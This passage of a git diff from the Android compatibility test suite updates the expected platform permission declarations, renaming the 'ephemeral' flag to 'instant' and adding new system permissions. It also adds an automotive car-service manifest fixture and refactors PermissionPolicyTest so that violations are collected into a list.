<protected-broadcast android:name="com.android.server.action.REMOTE_BUGREPORT_SHARING_ACCEPTED" />
<protected-broadcast android:name="com.android.server.action.REMOTE_BUGREPORT_SHARING_DECLINED" />
+ <protected-broadcast android:name="com.android.internal.action.EUICC_FACTORY_RESET" />
<protected-broadcast android:name="com.android.server.usb.ACTION_OPEN_IN_APPS" />
<protected-broadcast android:name="com.android.server.am.DELETE_DUMPHEAP" />
<protected-broadcast android:name="com.android.server.net.action.SNOOZE_WARNING" />
@@ -453,6 +458,7 @@
<protected-broadcast android:name="com.android.server.NetworkTimeUpdateService.action.POLL" />
<protected-broadcast android:name="com.android.server.telecom.intent.action.CALLS_ADD_ENTRY" />
<protected-broadcast android:name="com.android.settings.location.MODE_CHANGING" />
+ <protected-broadcast android:name="com.android.settings.bluetooth.ACTION_DISMISS_PAIRING" />
<protected-broadcast android:name="NotificationManagerService.TIMEOUT" />
<protected-broadcast android:name="ScheduleConditionProvider.EVALUATE" />
@@ -539,6 +545,7 @@
<protected-broadcast android:name="android.media.tv.action.PREVIEW_PROGRAM_BROWSABLE_DISABLED" />
<protected-broadcast android:name="android.media.tv.action.WATCH_NEXT_PROGRAM_BROWSABLE_DISABLED" />
<protected-broadcast android:name="android.media.tv.action.CHANNEL_BROWSABLE_REQUESTED" />
+ <protected-broadcast android:name="com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER" />
<!-- ====================================================================== -->
<!-- RUNTIME PERMISSIONS -->
@@ -763,7 +770,7 @@
android:permissionGroup="android.permission-group.LOCATION"
android:label="@string/permlab_accessFineLocation"
android:description="@string/permdesc_accessFineLocation"
- android:protectionLevel="dangerous|ephemeral" />
+ android:protectionLevel="dangerous|instant" />
<!-- Allows an app to access approximate location.
Alternatively, you might want {@link #ACCESS_FINE_LOCATION}.
@@ -773,7 +780,7 @@
android:permissionGroup="android.permission-group.LOCATION"
android:label="@string/permlab_accessCoarseLocation"
android:description="@string/permdesc_accessCoarseLocation"
- android:protectionLevel="dangerous|ephemeral" />
+ android:protectionLevel="dangerous|instant" />
<!-- ====================================================================== -->
<!-- Permissions for accessing the device telephony -->
@@ -807,13 +814,13 @@
android:protectionLevel="dangerous" />
<!-- Allows read access to the device's phone number(s). This is a subset of the capabilities
- granted by {@link #READ_PHONE_STATE} but is exposed to ephemeral applications.
+ granted by {@link #READ_PHONE_STATE} but is exposed to instant applications.
<p>Protection level: dangerous-->
<permission android:name="android.permission.READ_PHONE_NUMBERS"
android:permissionGroup="android.permission-group.PHONE"
android:label="@string/permlab_readPhoneNumbers"
android:description="@string/permdesc_readPhoneNumbers"
- android:protectionLevel="dangerous|ephemeral" />
+ android:protectionLevel="dangerous|instant" />
<!-- Allows an application to initiate a phone call without going through
the Dialer user interface for the user to confirm the call.
@@ -945,25 +952,25 @@
android:permissionGroup="android.permission-group.MICROPHONE"
android:label="@string/permlab_recordAudio"
android:description="@string/permdesc_recordAudio"
- android:protectionLevel="dangerous|ephemeral"/>
+ android:protectionLevel="dangerous|instant"/>
<!-- ====================================================================== -->
<!-- Permissions for accessing the UCE Service -->
<!-- ====================================================================== -->
<!-- @hide Allows an application to Access UCE-Presence.
- <p>Protection level: dangerous
+ <p>Protection level: signature|privileged
-->
<permission android:name="android.permission.ACCESS_UCE_PRESENCE_SERVICE"
android:permissionGroup="android.permission-group.PHONE"
- android:protectionLevel="signatureOrSystem"/>
+ android:protectionLevel="signature|privileged"/>
<!-- @hide Allows an application to Access UCE-OPTIONS.
- <p>Protection level: dangerous
+ <p>Protection level: signature|privileged
-->
<permission android:name="android.permission.ACCESS_UCE_OPTIONS_SERVICE"
android:permissionGroup="android.permission-group.PHONE"
- android:protectionLevel="signatureOrSystem"/>
+ android:protectionLevel="signature|privileged"/>
@@ -993,7 +1000,7 @@
android:permissionGroup="android.permission-group.CAMERA"
android:label="@string/permlab_camera"
android:description="@string/permdesc_camera"
- android:protectionLevel="dangerous|ephemeral" />
+ android:protectionLevel="dangerous|instant" />
<!-- ====================================================================== -->
@@ -1235,7 +1242,7 @@
<permission android:name="android.permission.INTERNET"
android:description="@string/permdesc_createNetworkSockets"
android:label="@string/permlab_createNetworkSockets"
- android:protectionLevel="normal|ephemeral" />
+ android:protectionLevel="normal|instant" />
<!-- Allows applications to access information about networks.
<p>Protection level: normal
@@ -1243,7 +1250,7 @@
<permission android:name="android.permission.ACCESS_NETWORK_STATE"
android:description="@string/permdesc_accessNetworkState"
android:label="@string/permlab_accessNetworkState"
- android:protectionLevel="normal|ephemeral" />
+ android:protectionLevel="normal|instant" />
<!-- Allows applications to access information about Wi-Fi networks.
<p>Protection level: normal
@@ -1321,6 +1328,27 @@
<permission android:name="android.permission.NETWORK_SETTINGS"
android:protectionLevel="signature" />
+ <!-- #SystemApi @hide Allows applications to access information about LoWPAN interfaces.
+ <p>Not for use by third-party applications. -->
+ <permission android:name="android.permission.ACCESS_LOWPAN_STATE"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- #SystemApi @hide Allows applications to change LoWPAN connectivity state.
+ <p>Not for use by third-party applications. -->
+ <permission android:name="android.permission.CHANGE_LOWPAN_STATE"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- #SystemApi @hide Allows applications to read LoWPAN credential.
+ <p>Not for use by third-party applications. -->
+ <permission android:name="android.permission.READ_LOWPAN_CREDENTIAL"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- #SystemApi @hide Allows a service to register or unregister
+ new LoWPAN interfaces.
+ <p>Not for use by third-party applications. -->
+ <permission android:name="android.permission.MANAGE_LOWPAN_INTERFACES"
+ android:protectionLevel="signature|privileged" />
+
<!-- ======================================= -->
<!-- Permissions for short range, peripheral networks -->
<!-- ======================================= -->
@@ -1445,7 +1473,7 @@
<permission android:name="android.permission.VIBRATE"
android:label="@string/permlab_vibrate"
android:description="@string/permdesc_vibrate"
- android:protectionLevel="normal|ephemeral" />
+ android:protectionLevel="normal|instant" />
<!-- Allows using PowerManager WakeLocks to keep processor from sleeping or screen
from dimming.
@@ -1454,7 +1482,7 @@
<permission android:name="android.permission.WAKE_LOCK"
android:label="@string/permlab_wakeLock"
android:description="@string/permdesc_wakeLock"
- android:protectionLevel="normal|ephemeral" />
+ android:protectionLevel="normal|instant" />
<!-- Allows using the device's IR transmitter, if available.
<p>Protection level: normal
@@ -1500,7 +1528,12 @@
<permission android:name="android.permission.HARDWARE_TEST"
android:protectionLevel="signature" />
- <!-- @SystemApi Allows access to FM
+ <!-- @SystemApi Allows access to Broadcast Radio
+ @hide This is not a third-party API (intended for system apps).-->
+ <permission android:name="android.permission.ACCESS_BROADCAST_RADIO"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- @deprecated @SystemApi Allows access to FM
@hide This is not a third-party API (intended for system apps).-->
<permission android:name="android.permission.ACCESS_FM_RADIO"
android:protectionLevel="signature|privileged" />
@@ -1667,6 +1700,11 @@
<permission android:name="android.permission.RECEIVE_STK_COMMANDS"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an application to send EMBMS download intents to apps
+ @hide -->
+ <permission android:name="android.permission.SEND_EMBMS_INTENTS"
+ android:protectionLevel="signature|privileged" />
+
<!-- Must be required by an ImsService to ensure that only the
system can bind to it.
<p>Protection level: signature|privileged
@@ -1676,6 +1714,20 @@
<permission android:name="android.permission.BIND_IMS_SERVICE"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an application to manage embedded subscriptions (those on a eUICC) through
+ EuiccManager APIs.
+ <p>Protection level: signature|privileged|development
+ TODO(b/35851809): Mark this as a SystemApi and remove com. prefix.
+ @hide -->
+ <permission android:name="com.android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS"
+ android:protectionLevel="signature|privileged|development" />
+
+ <!-- Must be required by an EuiccService to ensure that only the system can bind to it.
+ <p>Protection level: signature
+ TODO(b/35851809): Mark this as a SystemApi and remove com. prefix.
+ @hide -->
+ <permission android:name="com.android.permission.BIND_EUICC_SERVICE"
+ android:protectionLevel="signature" />
<!-- ================================== -->
<!-- Permissions for sdcard interaction -->
@@ -1810,6 +1862,10 @@
<permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
android:protectionLevel="signature|privileged" />
+ <!-- @SystemApi @hide Allows an application to embed other activities -->
+ <permission android:name="android.permission.ACTIVITY_EMBEDDING"
+ android:protectionLevel="signature|privileged" />
+
<!-- Allows an application to start any activity, regardless of permission
protection or exported state.
@hide -->
@@ -1885,6 +1941,11 @@
android:description="@string/permdesc_useDataInBackground"
android:protectionLevel="signature" />
+ <!-- @hide Allows an application to set display offsets for the screen.
+ This permission is not available to third party applications. -->
+ <permission android:name="android.permission.SET_DISPLAY_OFFSET"
+ android:protectionLevel="signature|privileged" />
+
<!-- Allows a companion app to run in the background.
<p>Protection level: normal
-->
@@ -1901,10 +1962,6 @@
android:description="@string/permdesc_useDataInBackground"
android:protectionLevel="normal" />
- <!-- @hide Allows an application to set display offsets for the screen.
- This permission is not available to third party applications. -->
- <permission android:name="android.permission.SET_DISPLAY_OFFSET"
- android:protectionLevel="signature|privileged" />
<!-- ================================== -->
<!-- Permissions affecting the system wallpaper -->
@@ -1927,6 +1984,15 @@
android:description="@string/permdesc_setWallpaperHints"
android:protectionLevel="normal" />
+ <!-- Allow the app to read the system wallpaper image without
+ holding the READ_EXTERNAL_STORAGE permission.
+ <p>Not for use by third-party applications.
+ @hide
+ @SystemApi
+ -->
+ <permission android:name="android.permission.READ_WALLPAPER_INTERNAL"
+ android:protectionLevel="signature|privileged" />
+
<!-- ============================================ -->
<!-- Permissions for changing the system clock -->
<!-- ============================================ -->
@@ -2163,7 +2229,7 @@
<!-- Allows an application to clear the caches of all installed
applications on the device.
- <p>Protection level: system|signature
+ <p>Protection level: signature|privileged
-->
<permission android:name="android.permission.CLEAR_APP_CACHE"
android:protectionLevel="signature|privileged" />
@@ -2199,6 +2265,22 @@
<permission android:name="android.permission.UPDATE_CONFIG"
android:protectionLevel="signature|privileged" />
+ <!-- Allows a time zone rule updater application to request
+ the system installs / uninstalls timezone rules.
+ <p>An application requesting this permission is responsible for
+ verifying the source and integrity of the update before passing
+ it off to the installer components.
+ @hide -->
+ <permission android:name="android.permission.UPDATE_TIME_ZONE_RULES"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- Must be required by a time zone rule updater application,
+ to ensure that only the system can trigger it.
+ @hide -->
+ <permission android:name="android.permission.TRIGGER_TIME_ZONE_RULES_CHECK"
+ android:protectionLevel="signature" />
+ <uses-permission android:name="android.permission.TRIGGER_TIME_ZONE_RULES_CHECK"/>
+
<!-- Allows the system to reset throttling in shortcut manager.
@hide -->
<permission android:name="android.permission.RESET_SHORTCUT_MANAGER_THROTTLING"
@@ -2468,6 +2550,22 @@
<permission android:name="android.permission.BIND_PRINT_RECOMMENDATION_SERVICE"
android:protectionLevel="signature" />
+ <!-- Allows applications to get the installed and enabled print services.
+ @hide
+ @SystemApi
+ <p>Protection level: signature|preinstalled
+ -->
+ <permission android:name="android.permission.READ_PRINT_SERVICES"
+ android:protectionLevel="signature|preinstalled" />
+
+ <!-- Allows applications to get the currently recommended print services for printers.
+ @hide
+ @SystemApi
+ <p>Protection level: signature|preinstalled
+ -->
+ <permission android:name="android.permission.READ_PRINT_SERVICE_RECOMMENDATIONS"
+ android:protectionLevel="signature|preinstalled" />
+
<!-- Must be required by a {@link android.nfc.cardemulation.HostApduService}
or {@link android.nfc.cardemulation.OffHostApduService} to ensure that only
the system can bind to it.
@@ -2508,7 +2606,7 @@
<!-- Must be required by a {@link android.service.wallpaper.WallpaperService},
to ensure that only the system can bind to it.
- <p>Protection level: system|signature
+ <p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_WALLPAPER"
android:protectionLevel="signature|privileged" />
@@ -2545,7 +2643,7 @@
<!-- Must be required by a {@link android.media.tv.TvInputService}
to ensure that only the system can bind to it.
- <p>Protection level: signature
+ <p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_TV_INPUT"
android:protectionLevel="signature|privileged" />
@@ -2567,12 +2665,24 @@
<permission android:name="android.permission.TV_VIRTUAL_REMOTE_CONTROLLER"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an application to change HDMI CEC active source.
+ <p>Not for use by third-party applications.
+ @hide -->
+ <permission android:name="android.permission.CHANGE_HDMI_CEC_ACTIVE_SOURCE"
+ android:protectionLevel="signature|privileged" />
+
<!-- @SystemApi Allows an application to modify parental controls
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.MODIFY_PARENTAL_CONTROLS"
android:protectionLevel="signature|privileged" />
+ <!-- @SystemApi Allows an application to read TvContentRatingSystemInfo
+ <p>Not for use by third-party applications.
+ @hide -->
+ <permission android:name="android.permission.READ_CONTENT_RATING_SYSTEMS"
+ android:protectionLevel="signature|privileged" />
+
<!-- @SystemApi Allows an application to notify TV inputs by sending broadcasts.
<p>Protection level: signature|privileged
<p>Not for use by third-party applications.
@@ -2742,6 +2852,13 @@
<permission android:name="android.permission.ACCESS_INPUT_FLINGER"
android:protectionLevel="signature" />
+ <!-- Allows an application to disable/enable input devices.
+ Could be used to prevent unwanted touch events
+ on a touchscreen, for example during swimming or rain.
+ @hide -->
+ <permission android:name="android.permission.DISABLE_INPUT_DEVICE"
+ android:protectionLevel="signature" />
+
<!-- Allows an application to configure and connect to Wifi displays
@hide -->
<permission android:name="android.permission.CONFIGURE_WIFI_DISPLAY"
@@ -3054,12 +3171,14 @@
<permission android:name="android.permission.MANAGE_NETWORK_POLICY"
android:protectionLevel="signature" />
- <!-- @SystemApi Allows an application to account its network traffic against other UIDs. Used
- by system services like download manager and media server. Not for use by
- third party apps. @hide -->
+ <!-- @SystemApi @hide @deprecated use UPDATE_DEVICE_STATS instead -->
<permission android:name="android.permission.MODIFY_NETWORK_ACCOUNTING"
android:protectionLevel="signature|privileged" />
+ <!-- @SystemApi @hide Allows an application to manage carrier subscription plans. -->
+ <permission android:name="android.permission.MANAGE_SUBSCRIPTION_PLANS"
+ android:protectionLevel="signature|privileged" />
+
<!-- C2DM permission.
@hide Used internally.
-->
@@ -3133,6 +3252,11 @@
<permission android:name="android.permission.MANAGE_NOTIFICATIONS"
android:protectionLevel="signature" />
+ <!-- Allows notifications to be colorized
+ <p>Not for use by third-party applications. @hide -->
+ <permission android:name="android.permission.USE_COLORIZED_NOTIFICATIONS"
+ android:protectionLevel="signature|setup" />
+
<!-- Allows access to keyguard secure storage. Only allowed for system processes.
@hide -->
<permission android:name="android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"
@@ -3283,7 +3407,7 @@
<!-- The system process that is allowed to bind to services in carrier apps will
have this permission. Carrier apps should use this permission to protect
their services that only the system is allowed to bind to.
- <p>Protection level: system|signature
+ <p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_CARRIER_SERVICES"
android:label="@string/permlab_bindCarrierServices"
@@ -3388,6 +3512,11 @@
<permission android:name="android.permission.ACCESS_VR_MANAGER"
android:protectionLevel="signature" />
+ <!-- Required to access VR-Mode state and state change events via {android.app.VrStateCallback}
+ @hide -->
+ <permission android:name="android.permission.ACCESS_VR_STATE"
+ android:protectionLevel="signature|preinstalled" />
+
<!-- Allows an application to whitelist tasks during lock task mode
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.UPDATE_LOCK_TASK_PACKAGES"
@@ -3417,7 +3546,7 @@
<!-- Allows an instant app to create foreground services. -->
<permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"
- android:protectionLevel="signature|development|ephemeral|appop" />
+ android:protectionLevel="signature|development|instant|appop" />
<application android:process="system"
android:persistent="true"
@@ -3753,6 +3882,11 @@
<service android:name="com.android.server.PreloadsFileCacheExpirationJobService"
android:permission="android.permission.BIND_JOB_SERVICE" >
</service>
+
+ <service android:name="com.android.server.camera.CameraStatsJobService"
+ android:permission="android.permission.BIND_JOB_SERVICE" >
+ </service>
+
</application>
</manifest>
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
new file mode 100644
index 0000000..4a68183
--- /dev/null
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -0,0 +1,203 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+ package="com.android.car"
+ coreApp="true"
+ android:sharedUserId="android.uid.system">
+
+ <original-package android:name="com.android.car" />
+
+ <permission-group
+ android:name="android.car.permission-group.CAR_INFORMATION"
+ android:icon="@drawable/car_ic_mode"
+ android:description="@string/car_permission_desc"
+ android:label="@string/car_permission_label" />
+ <permission
+ android:name="android.car.permission.CAR_CABIN"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_cabin"
+ android:description="@string/car_permission_desc_cabin" />
+ <permission
+ android:name="android.car.permission.CAR_CAMERA"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_camera"
+ android:description="@string/car_permission_desc_camera" />
+ <permission
+ android:name="android.car.permission.CAR_FUEL"
+ android:permissionGroup="android.car.permission-group.CAR_INFORMATION"
+ android:protectionLevel="dangerous"
+ android:label="@string/car_permission_label_fuel"
+ android:description="@string/car_permission_desc_fuel" />
+ <permission
+ android:name="android.car.permission.CAR_HVAC"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_hvac"
+ android:description="@string/car_permission_desc_hvac" />
+ <permission
+ android:name="android.car.permission.CAR_MILEAGE"
+ android:permissionGroup="android.car.permission-group.CAR_INFORMATION"
+ android:protectionLevel="dangerous"
+ android:label="@string/car_permission_label_mileage"
+ android:description="@string/car_permission_desc_mileage" />
+ <permission
+ android:name="android.car.permission.CAR_SPEED"
+ android:permissionGroup="android.permission-group.LOCATION"
+ android:protectionLevel="dangerous"
+ android:label="@string/car_permission_label_speed"
+ android:description="@string/car_permission_desc_speed" />
+ <permission
+ android:name="android.car.permission.VEHICLE_DYNAMICS_STATE"
+ android:permissionGroup="android.car.permission-group.CAR_INFORMATION"
+ android:protectionLevel="dangerous"
+ android:label="@string/car_permission_label_vehicle_dynamics_state"
+ android:description="@string/car_permission_desc_vehicle_dynamics_state" />
+ <permission
+ android:name="android.car.permission.CAR_VENDOR_EXTENSION"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_vendor_extension"
+ android:description="@string/car_permission_desc_vendor_extension" />
+ <permission
+ android:name="android.car.permission.CAR_RADIO"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_radio"
+ android:description="@string/car_permission_desc_radio" />
+ <permission
+ android:name="android.car.permission.CAR_PROJECTION"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_projection"
+ android:description="@string/car_permission_desc_projection" />
+ <permission
+ android:name="android.car.permission.CAR_MOCK_VEHICLE_HAL"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_mock_vehicle_hal"
+ android:description="@string/car_permission_desc_mock_vehicle_hal" />
+ <permission
+ android:name="android.car.permission.CAR_NAVIGATION_MANAGER"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_car_navigation_manager"
+ android:description="@string/car_permission_desc_car_navigation_manager" />
+ <permission
+ android:name="android.car.permission.DIAGNOSTIC_READ_ALL"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_diag_read"
+ android:description="@string/car_permission_desc_diag_read" />
+ <permission
+ android:name="android.car.permission.DIAGNOSTIC_CLEAR"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_diag_clear"
+ android:description="@string/car_permission_desc_diag_clear" />
+ <permission
+ android:name="android.car.permission.VMS_PUBLISHER"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_vms_publisher"
+ android:description="@string/car_permission_desc_vms_publisher" />
+ <permission
+ android:name="android.car.permission.VMS_SUBSCRIBER"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_vms_subscriber"
+ android:description="@string/car_permission_desc_vms_subscriber" />
+
+ <!-- may replace this with system permission if proper one is defined. -->
+ <permission
+ android:name="android.car.permission.CONTROL_APP_BLOCKING"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_control_app_blocking"
+ android:description="@string/car_permission_desc_control_app_blocking" />
+
+ <permission
+ android:name="android.car.permission.CAR_CONTROL_AUDIO_VOLUME"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_audio_volume"
+ android:description="@string/car_permission_desc_audio_volume" />
+
+ <permission
+ android:name="android.car.permission.CAR_CONTROL_AUDIO_SETTINGS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_audio_settings"
+ android:description="@string/car_permission_desc_audio_settings" />
+
+ <permission
+ android:name="android.car.permission.BIND_INSTRUMENT_CLUSTER_RENDERER_SERVICE"
+ android:protectionLevel="signature"
+ android:label="@string/car_permission_label_bind_instrument_cluster_rendering"
+ android:description="@string/car_permission_desc_bind_instrument_cluster_rendering"/>
+
+ <permission
+ android:name="android.car.permission.BIND_CAR_INPUT_SERVICE"
+ android:protectionLevel="signature"
+ android:label="@string/car_permission_label_bind_input_service"
+ android:description="@string/car_permission_desc_bind_input_service"/>
+
+ <permission
+ android:name="android.car.permission.CAR_DISPLAY_IN_CLUSTER"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_car_display_in_cluster"
+ android:description="@string/car_permission_desc_car_display_in_cluster" />
+
+ <permission android:name="android.car.permission.CAR_INSTRUMENT_CLUSTER_CONTROL"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_car_cluster_control"
+ android:description="@string/car_permission_desc_car_cluster_control" />
+
+ <permission android:name="android.car.permission.STORAGE_MONITORING"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_storage_monitoring"
+ android:description="@string/car_permission_desc_storage_monitoring" />
+
+ <uses-permission android:name="android.permission.CALL_PHONE" />
+ <uses-permission android:name="android.permission.DEVICE_POWER" />
+ <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
+ <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL" />
+ <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
+ <uses-permission android:name="android.permission.MODIFY_AUDIO_ROUTING" />
+ <uses-permission android:name="android.permission.MODIFY_DAY_NIGHT_MODE" />
+ <uses-permission android:name="android.permission.MODIFY_PHONE_STATE" />
+ <uses-permission android:name="android.permission.READ_CALL_LOG" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+ <uses-permission android:name="android.permission.REAL_GET_TASKS" />
+ <uses-permission android:name="android.permission.REBOOT" />
+ <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+ <uses-permission android:name="android.permission.REMOVE_TASKS" />
+ <uses-permission android:name="android.permission.WRITE_SETTINGS" />
+ <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+ <uses-permission android:name="android.permission.BLUETOOTH" />
+ <uses-permission android:name="android.permission.MANAGE_USERS" />
+
+ <application android:label="Car service"
+ android:directBootAware="true"
+ android:allowBackup="false"
+ android:persistent="true">
+
+
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".CarService"
+ android:singleUser="true">
+ <intent-filter>
+ <action android:name="android.car.ICar" />
+ </intent-filter>
+ </service>
+ <service android:name=".PerUserCarService" android:exported="false" />
+ <activity android:name="com.android.car.pm.ActivityBlockingActivity"
+ android:excludeFromRecents="true"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 19c4b02..50a5bce 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -16,19 +16,24 @@
package android.permission2.cts;
+import static android.os.Build.VERSION.SECURITY_PATCH;
+
+import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
import android.content.pm.PermissionGroupInfo;
import android.content.pm.PermissionInfo;
import android.test.AndroidTestCase;
+import android.text.TextUtils;
import android.util.ArrayMap;
import android.util.ArraySet;
import android.util.Log;
import android.util.Xml;
+
import org.xmlpull.v1.XmlPullParser;
import java.io.InputStream;
-import java.lang.String;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
@@ -37,8 +42,6 @@
import java.util.Map;
import java.util.Set;
-import static android.os.Build.VERSION.SECURITY_PATCH;
-
/**
* Tests for permission policy on the platform.
*/
@@ -53,6 +56,8 @@
private static final String PLATFORM_ROOT_NAMESPACE = "android.";
+ private static final String AUTOMOTIVE_SERVICE_PACKAGE_NAME = "com.android.car";
+
private static final String TAG_PERMISSION = "permission";
private static final String ATTR_NAME = "name";
@@ -60,12 +65,10 @@
private static final String ATTR_PROTECTION_LEVEL = "protectionLevel";
public void testPlatformPermissionPolicyUnaltered() throws Exception {
- PackageInfo platformPackage = getContext().getPackageManager()
- .getPackageInfo(PLATFORM_PACKAGE_NAME, PackageManager.GET_PERMISSIONS);
- Map<String, PermissionInfo> declaredPermissionsMap = new ArrayMap<>();
- for (PermissionInfo declaredPermission : platformPackage.permissions) {
- declaredPermissionsMap.put(declaredPermission.name, declaredPermission);
- }
+ Map<String, PermissionInfo> declaredPermissionsMap =
+ getPermissionsForPackage(getContext(), PLATFORM_PACKAGE_NAME);
+
+ List<String> offendingList = new ArrayList<>();
List<PermissionGroupInfo> declaredGroups = getContext().getPackageManager()
.getAllPermissionGroups(0);
@@ -74,9 +77,16 @@
declaredGroupsSet.add(declaredGroup.name);
}
- Set<String> expectedPermissionGroups = new ArraySet<String>();
+ Set<String> expectedPermissionGroups = new ArraySet<>();
+ List<PermissionInfo> expectedPermissions = loadExpectedPermissions(R.raw.android_manifest);
- for (PermissionInfo expectedPermission : loadExpectedPermissions()) {
+ if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ expectedPermissions.addAll(loadExpectedPermissions(R.raw.automotive_android_manifest));
+ declaredPermissionsMap.putAll(
+ getPermissionsForPackage(getContext(), AUTOMOTIVE_SERVICE_PACKAGE_NAME));
+ }
+
+ for (PermissionInfo expectedPermission : expectedPermissions) {
String expectedPermissionName = expectedPermission.name;
if (shouldSkipPermission(expectedPermissionName)) {
continue;
@@ -84,8 +94,10 @@
// OEMs cannot remove permissions
PermissionInfo declaredPermission = declaredPermissionsMap.get(expectedPermissionName);
- assertNotNull("Permission " + expectedPermissionName
- + " must be declared", declaredPermission);
+ if (declaredPermission == null) {
+ offendingList.add("Permission " + expectedPermissionName + " must be declared");
+ continue;
+ }
// We want to end up with OEM defined permissions and groups to check their namespace
declaredPermissionsMap.remove(expectedPermissionName);
@@ -97,62 +109,84 @@
& PermissionInfo.PROTECTION_MASK_BASE;
final int declaredProtection = declaredPermission.protectionLevel
& PermissionInfo.PROTECTION_MASK_BASE;
- assertEquals("Permission " + expectedPermissionName + " invalid protection level",
- expectedProtection, declaredProtection);
+ if (expectedProtection != declaredProtection) {
+ offendingList.add(
+ String.format(
+ "Permission %s invalid protection level %x, expected %x",
+ expectedPermissionName, declaredProtection, expectedProtection));
+ }
// OEMs cannot change permission protection flags
final int expectedProtectionFlags = expectedPermission.protectionLevel
& PermissionInfo.PROTECTION_MASK_FLAGS;
- int declaredProtectionFlags = declaredPermission.protectionLevel
+ final int declaredProtectionFlags = declaredPermission.protectionLevel
& PermissionInfo.PROTECTION_MASK_FLAGS;
- // Device makers are allowed to backport the framework fix to oreo
- // https://android-review.googlesource.com/c/platform/frameworks/base/+/653701
- if (expectedPermissionName.equals("android.permission.RECORD_AUDIO")
- && declaredProtectionFlags == 0) {
- declaredProtectionFlags = PermissionInfo.PROTECTION_FLAG_EPHEMERAL;
+ if (expectedProtectionFlags != declaredProtectionFlags) {
+ offendingList.add(
+ String.format(
+ "Permission %s invalid enforced protection %x, expected %x",
+ expectedPermissionName,
+ declaredProtectionFlags,
+ expectedProtectionFlags));
}
- assertEquals("Permission " + expectedPermissionName + " invalid enforced protection"
- + " level flags", expectedProtectionFlags, declaredProtectionFlags);
// OEMs cannot change permission grouping
if ((declaredPermission.protectionLevel & PermissionInfo.PROTECTION_DANGEROUS) != 0) {
- assertEquals("Permission " + expectedPermissionName + " not in correct group",
- expectedPermission.group, declaredPermission.group);
- assertTrue("Permission group " + expectedPermission.group + "must be defined",
- declaredGroupsSet.contains(declaredPermission.group));
+ if (!expectedPermission.group.equals(declaredPermission.group)) {
+ offendingList.add(
+ "Permission " + expectedPermissionName + " not in correct group");
+ }
+
+ if (!declaredGroupsSet.contains(declaredPermission.group)) {
+ offendingList.add(
+ "Permission group " + expectedPermission.group + " must be defined");
+ }
}
}
// OEMs cannot define permissions in the platform namespace
for (String permission : declaredPermissionsMap.keySet()) {
- assertFalse("Cannot define permission in android namespace:" + permission,
- permission.startsWith(PLATFORM_ROOT_NAMESPACE));
+ if (permission.startsWith(PLATFORM_ROOT_NAMESPACE)) {
+ offendingList.add("Cannot define permission in android namespace:" + permission);
+ }
}
